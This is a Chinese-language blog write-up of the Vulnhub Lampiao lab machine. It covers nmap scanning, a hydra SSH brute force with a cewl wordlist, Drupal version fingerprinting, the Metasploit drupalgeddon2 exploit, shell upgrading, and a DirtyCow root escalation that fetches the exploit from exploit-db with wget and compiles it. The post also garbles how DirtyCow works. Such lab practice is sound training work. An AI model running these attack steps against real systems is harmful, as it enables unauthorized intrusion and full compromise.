Vulnhub Lampiao writeup

Talk is cheap, show me writeup

用到的工具与知识

nmap、hydra、cewl、whatweb、metasploit、脏牛提权

靶机下载

0x01 情报搜集

nmap刺探一下信息

可以看到开启了22/ssh,80/http,1898/http,三个端口,看到ssh可以想到ssh爆破。

先往下,我们先进一步搜集信息,不贸然出动

用浏览器访问一下网站相应端口

一个船长的人头?我喜欢,我们再看看别的端口

嗯,一个不错的Drupal CMS,仔细观察之后发现两个用户,再看一眼文章内容

我把文章页面的内容用cewl抓下来做成字典,再加上之前的用户名我们用来爆破ssh

小插曲:

有够幸运(因为这靶机一般不可能是用爆破来解),我们爆破出来了一个ssh账户密码,登一下试试,直接拿到了一个低权限的账户。

经过一番长时间的试错,我们从众多exp中找到了能用的DirtyCow(脏牛提权),原理是直接将密码算法逆向解密,所以跑起来很快。上传文件(我用的MobaXterm)之后,按照exp内的提示在靶机上编译运行

成功提权,拿到flag

回归正常流程:

从CMS进一步获取信息,服务器等中间件的信息可以使用whatweb

路径、敏感文件、指纹什么的,我会用Nikto、dirburster、dirb

由上面找到的信息,进一步查看robots.txt

发现能够看CHANGELOG.txt,这个文件一般会包含详细版本号,以及大量修改信息

果然,可以看到详细版本号是Drupal 7.54

0x02 漏洞挖掘与利用

看到CMS我就忍不住想测试一下逻辑漏洞、XSS和SQL注入。结果发现创建不了用户,密码找回和SQL注入也相继失败,那么我只好从exploit-db找找有没有相应的drupal漏洞了。

嗯,用rb的exp得到一个fake shell,路径都无法变更。。。

又是一番试错,我们打开了msf,search drupal 7.54,自然选择时间靠后的exp

1
exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Drupal Drupalgeddon 2 Forms API Property Injection

显示参数有什么需要填写,填写相应参数

1
2
3
4
show options
set rhost 192.168.206.138 # 设置攻击主机
set rport 1898 # 设置攻击端口
exploit # 进行攻击

成功拿到meterpreter,进入目标机的shell,我看看基本信息

1
2
3
4
5
shell # 进入目标机的shell
uname -a # 显示操作系统版本信息
id # 获取当前用户信息
cat /etc/issue # 获取当前版本信息
python -c "import pty;pty.spawn('/bin/bash');" # 拿python交互shell

OK!到这一步我就直接用之前的脏牛提权解决问题

1
2
3
4
5
6
7
8
9
10
11
wget https://www.exploit-db.com/download/40847 # 下载exp
mv 40847 40847.cpp # 更改文件名
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil # 编译

#
解释一下编译的各个参数
## -Wall 允许发出GCC能提供的所有有用警告
## -pedantic 允许发出ANSI/ISO C标准列出的所有警告
## -O2 编译器优化的四个级别,0没有优化,1为缺省值,3为最高
## -std=c++11 用c++11标准编译
## -pthread Linux中用到多线程时,需要链接pthread库
## -o dcow 生成目标文件,命名为dcow

0x03 提权&GetFlag

发现一张帅图,你好,船长!(虽然是寨主)

0x04 总结

  • 除了走正常的流程,试错也很关键,在获取足够信息的基础上尽可能缩小试错的范围,同时试错也不要一根筋,掉到兔子洞里去,不时转换一下思路or休息一会都可能有不同程度的帮助
  • 工具和信息搜集的熟悉程度决定了后面的攻击效果

0x05 参考资源

vulnhub靶机-Lampiao

Lampiao:CTF WalkThrough

Lampiao1 渗透测试


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!